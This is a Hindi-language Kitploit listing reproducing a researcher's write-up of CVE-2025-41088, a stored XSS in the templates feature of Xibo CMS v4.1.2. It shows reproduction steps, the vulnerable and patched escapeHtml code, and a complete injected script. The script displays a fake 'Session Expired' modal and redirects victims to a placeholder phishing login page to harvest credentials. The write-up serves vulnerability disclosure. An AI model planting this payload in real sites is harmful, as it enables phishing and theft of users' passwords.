Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2025-41088 — Xibo Signage के Xibo CMS v4.1.2 में Stored Cross-Site Scripting (XSS), उपयोगकर्ता इनपुट के उचित सत्यापन की कमी के कारण। | Kitploit
उपकरण/GitHubGitHub/marinafabregat/cve-2025-41088
भेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणफिशिंगपेपर और शोधलर्निंग और शिक्षा
GitHubmarinafabregat/cve-2025-41088

CVE-2025-41088

Xibo Signage के Xibo CMS v4.1.2 में Stored Cross-Site Scripting (XSS), उपयोगकर्ता इनपुट के उचित सत्यापन की कमी के कारण।

रिपॉजिटरी देखें
539 महीने पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2025-41088: Xibo CMS में संग्रहीत XSS

मैंने Xibo CMS v4.1.2 में एक संग्रहीत क्रॉस-साइट स्क्रिप्टिंग (XSS) कमजोरी की खोज की है। यह कमजोरी एक प्रमाणित हमलावर को एप्लिकेशन में दुर्भावनापूर्ण स्क्रिप्ट इंजेक्ट करने की अनुमति देती है, क्योंकि उपयोगकर्ता द्वारा प्रदान किए गए इनपुट का अनुचित सत्यापन होता है।

यह समस्या 'टेम्पलेट्स' सुविधा में है। एक हमलावर एक टेम्पलेट बना सकता है जिसमें एक दुर्भावनापूर्ण पेलोड के साथ एक टेक्स्ट तत्व होता है। जब यह टेम्पलेट अन्य उपयोगकर्ताओं द्वारा देखा जाता है, तो स्क्रिप्ट उनके ब्राउज़र में निष्पादित होती है, जिससे संभावित रूप से डेटा चोरी या अन्य दुर्भावनापूर्ण कार्य हो सकते हैं।


प्रमाण की अवधारणा (PoC)

कमजोरी का शोषण करने के लिए, एक प्रमाणित उपयोगकर्ता को इन चरणों का पालन करना होगा:

  1. डिज़ाइन > टेम्पलेट्स अनुभाग पर जाएं और एक नया टेम्पलेट बनाएं।
  2. ग्लोबल एलिमेंट्स अनुभाग पर जाएं और एक नया टेक्स्ट तत्व जोड़ें।
  3. एडिटर के टेक्स्ट फ़ील्ड में, दुर्भावनापूर्ण XSS पेलोड डालें (उदा., <script>alert(1337)</script>).
  4. तत्व को सहेजें। पेलोड अब सर्वर पर संग्रहीत है।
  5. जब भी कोई उपयोगकर्ता का ब्राउज़र समझौता किए गए तत्व को रेंडर करता है, तो स्क्रिप्ट निष्पादित होगी।

कमजोर कोड

इस खंड में Xibo CMS v4.1.2 का विशिष्ट कोड स्निपेट है जो 'टेक्स्ट' फ़ील्ड के लिए इनपुट को सैनिटाइज़ करने में विफल रहता है।

root@kitploit:~
        'extends' => [
            'override' => $moduleTemplate->extends?->override,
            'with' => $moduleTemplate->extends?->with,
            'escapeHtml' => $moduleTemplate->extends?->escapeHtml,
        ],
    ];
} else if ($extension !== null) {

उसी दस्तावेज़ की एक अन्य पंक्ति में।

root@kitploit:~
        'extends' => [
            'override' => $moduleTemplate->extends?->override,
            'with' => $moduleTemplate->extends?->with,
            'escapeHtml' => $moduleTemplate->extends?->escapeHtml,
        ],
    ];

एक अन्य दस्तावेज़ में।

root@kitploit:~
    // Escape HTML
    convertedProperties.escapeHtml = template?.extends?.escapeHtml;
    // Compile hbs template with data
    let hbsHtml = hbsTemplate(convertedProperties);

    

फिक्स्ड कोड

यह खंड पैच किए गए कोड को दर्शाता है, जिसमें दुर्भावनापूर्ण स्क्रिप्ट को बेअसर करने के लिए उचित इनपुट सैनिटाइज़ेशन और आउटपुट एन्कोडिंग तंत्र शामिल हैं।

root@kitploit:~
                'extends' => [
                    'override' => $moduleTemplate->extends?->override,
                    'with' => $moduleTemplate->extends?->with,
                    'escapeHtml' => isset($moduleTemplate->extends?->escapeHtml) ?
                        $moduleTemplate->extends->escapeHtml : 1,
                ],
            ];
        } else if ($extension !== null) {

उसी दस्तावेज़ की एक अन्य पंक्ति में।

root@kitploit:~
                'extends' => [
                    'override' => $moduleTemplate->extends?->override,
                    'with' => $moduleTemplate->extends?->with,
                    'escapeHtml' => isset($moduleTemplate->extends?->escapeHtml) ?
                        $moduleTemplate->extends->escapeHtml : 1,
                ],
            ];

एक अन्य दस्तावेज़ में।

root@kitploit:~
    // Escape HTML
    convertedProperties.escapeHtml =
      (template?.extends?.escapeHtml === undefined) ?
        true : template.extends.escapeHtml;


    // Compile hbs template with data
    let hbsHtml = hbsTemplate(convertedProperties);
 

शोषण

संग्रहीत पेलोड पीड़ित के ब्राउज़र के संदर्भ में निष्पादित होता है, जिसका उपयोग पासवर्ड जैसी संवेदनशील जानकारी चुराने के लिए किया जा सकता है।

1. पेलोड इंजेक्ट करना: हमलावर टेम्पलेट के भीतर एक टेक्स्ट तत्व में दुर्भावनापूर्ण स्क्रिप्ट डालता है।

Script_Location

मैंने जिस स्क्रिप्ट का उपयोग किया वह निम्नलिखित है:

root@kitploit:~
<script>
(function() {
    // --- MAIN FUNCTION ---
    function showRedirectModal() {
        // 1. Create the elements
        const overlay = document.createElement('div');
        const modalContainer = document.createElement('div');
        const title = document.createElement('h2');
        const message = document.createElement('p');
        const redirectButton = document.createElement('button');

        // 2. Assign styles and properties
        // Style for the dark overlay
        Object.assign(overlay.style, {
            position: 'fixed', top: '0', left: '0', width: '100%', height: '100%',
            backgroundColor: 'rgba(0, 0, 0, 0.75)', zIndex: '10000',
            display: 'flex', justifyContent: 'center', alignItems: 'center'
        });

        // Style for the modal container 
        Object.assign(modalContainer.style, {
            padding: '40px', backgroundColor: '#fff', borderRadius: '8px',
            boxShadow: '0 4px 15px rgba(0,0,0,0.2)', width: '320px',
            fontFamily: 'Arial, sans-serif'
        });

        // Style for the title
        title.textContent = 'Session Expired';
        Object.assign(title.style, {
            textAlign: 'center', color: '#333', marginBottom: '15px' 
        });

        message.textContent = 'Your session has expired. Please log in again to continue.';
        Object.assign(message.style, {
            textAlign: 'center',
            color: '#555',
            marginBottom: '25px',
            lineHeight: '1.5',
            fontSize: '16px'
        });

        // Style for the redirect button
        Object.assign(redirectButton.style, {
            width: '100%', padding: '12px', border: 'none', borderRadius: '4px',
            backgroundColor: '#007bff', color: 'white', fontSize: '16px',
            cursor: 'pointer'
        });
        redirectButton.textContent = 'Log In Again'; 

        // 3. Assemble the modal structure
        modalContainer.appendChild(title);
        modalContainer.appendChild(message);
        modalContainer.appendChild(redirectButton);
        overlay.appendChild(modalContainer);

        // 4. Add the modal to the page
        document.body.appendChild(overlay);

        // 5. Define the button's behavior 
        redirectButton.addEventListener('click', function(e) {
            e.preventDefault(); // Buena práctica

            const phishingURL = 'http://my-website-example.com/login.html'; 

            window.location.href = phishingURL;
            
            document.body.removeChild(overlay);
        });
    }

    // --- Initialize the function ---
    showRedirectModal();

})();
</script>

2. हमले का परिदृश्य: एक सामान्य हमला उपयोगकर्ता क्रेडेंशियल्स को कैप्चर करने के लिए सत्र समाप्ति का अनुकरण करता है। स्क्रिप्ट पेज को हाईजैक कर लेती है और पीड़ित को यह पॉप-अप प्रस्तुत करती है।

image

संदर्भ

  • INCIBE-CERT (स्पेनिश): Xibo CMS में एकाधिक कमजोरियाँ
  • INCIBE-CERT (अंग्रेज़ी): Xibo CMS में एकाधिक कमजोरियाँ

अस्वीकरण

यह जानकारी केवल शैक्षिक और शोध उद्देश्यों के लिए प्रदान की गई है। मैं इस जानकारी के किसी भी दुरुपयोग या इससे होने वाली क्षति के लिए जिम्मेदार नहीं हूँ।

टूल डाउनलोड करें